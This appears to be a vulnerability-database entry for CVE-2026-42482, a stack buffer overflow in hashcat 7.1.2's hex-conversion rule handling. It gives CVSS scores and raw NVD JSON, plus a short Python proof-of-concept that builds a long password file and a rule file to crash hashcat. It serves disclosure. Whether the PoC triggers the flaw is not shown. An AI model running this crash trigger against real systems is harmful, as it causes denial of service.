Security Vulnerability Report
中文
CVE-2026-42482 CVSS 9.8 CRITICAL

CVE-2026-42482

Published: 2026-05-01 14:16:23
Last Modified: 2026-05-01 19:16:33

Description

A stack-based buffer overflow in mangle_to_hex_lower() and mangle_to_hex_upper() in src/rp_cpu.c in hashcat v7.1.2 allows an attacker to cause a denial of service or possibly execute arbitrary code via a crafted rule file, or via the -j or -k rule options used with password candidates of 128 or more characters. The vulnerability is caused by a bounds check that fails to account for the 2x expansion that occurs when password bytes are converted to hexadecimal.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:hashcat:hashcat:7.1.2:*:*:*:*:*:*:* - VULNERABLE
hashcat v7.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 import subprocess import os # Create a dummy hash file (MD5 example) hash_content = "5d41402abc4b2a76b9719d911017c592:test_password" with open("hashes.txt", "w") as f: f.write(hash_content) # Create a long password candidate (128+ chars) to trigger the overflow # The vulnerability states 128 chars is the threshold long_password = "A" * 128 with open("passwords.txt", "w") as f: f.write(long_password) # Create a rule that triggers mangle_to_hex_lower/upper # Rule 'x' converts to hex, which triggers the vulnerable function with open("rule.rule", "w") as f: f.write("x") # Command to trigger the vulnerability # Assuming hashcat is installed and in PATH # Use -r to load the rule file print("Attempting to trigger the buffer overflow...") try: # Note: This may crash the application cmd = ["hashcat", "-a", "0", "-r", "rule.rule", "hashes.txt", "passwords.txt"] subprocess.run(cmd, check=False) except FileNotFoundError: print("hashcat executable not found.") # Cleanup os.remove("hashes.txt") os.remove("passwords.txt") os.remove("rule.rule")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42482", "sourceIdentifier": "[email protected]", "published": "2026-05-01T14:16:22.577", "lastModified": "2026-05-01T19:16:32.830", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow in mangle_to_hex_lower() and mangle_to_hex_upper() in src/rp_cpu.c in hashcat v7.1.2 allows an attacker to cause a denial of service or possibly execute arbitrary code via a crafted rule file, or via the -j or -k rule options used with password candidates of 128 or more characters. The vulnerability is caused by a bounds check that fails to account for the 2x expansion that occurs when password bytes are converted to hexadecimal."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hashcat:hashcat:7.1.2:*:*:*:*:*:*:*", "matchCriteriaId": "E1ECAF10-13E9-4F40-973C-EBC2BC0CDA88"}]}]}], "references": [{"url": "https://gist.github.com/sgInnora/107f2eb20367e47d58c911e38d56a91f", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}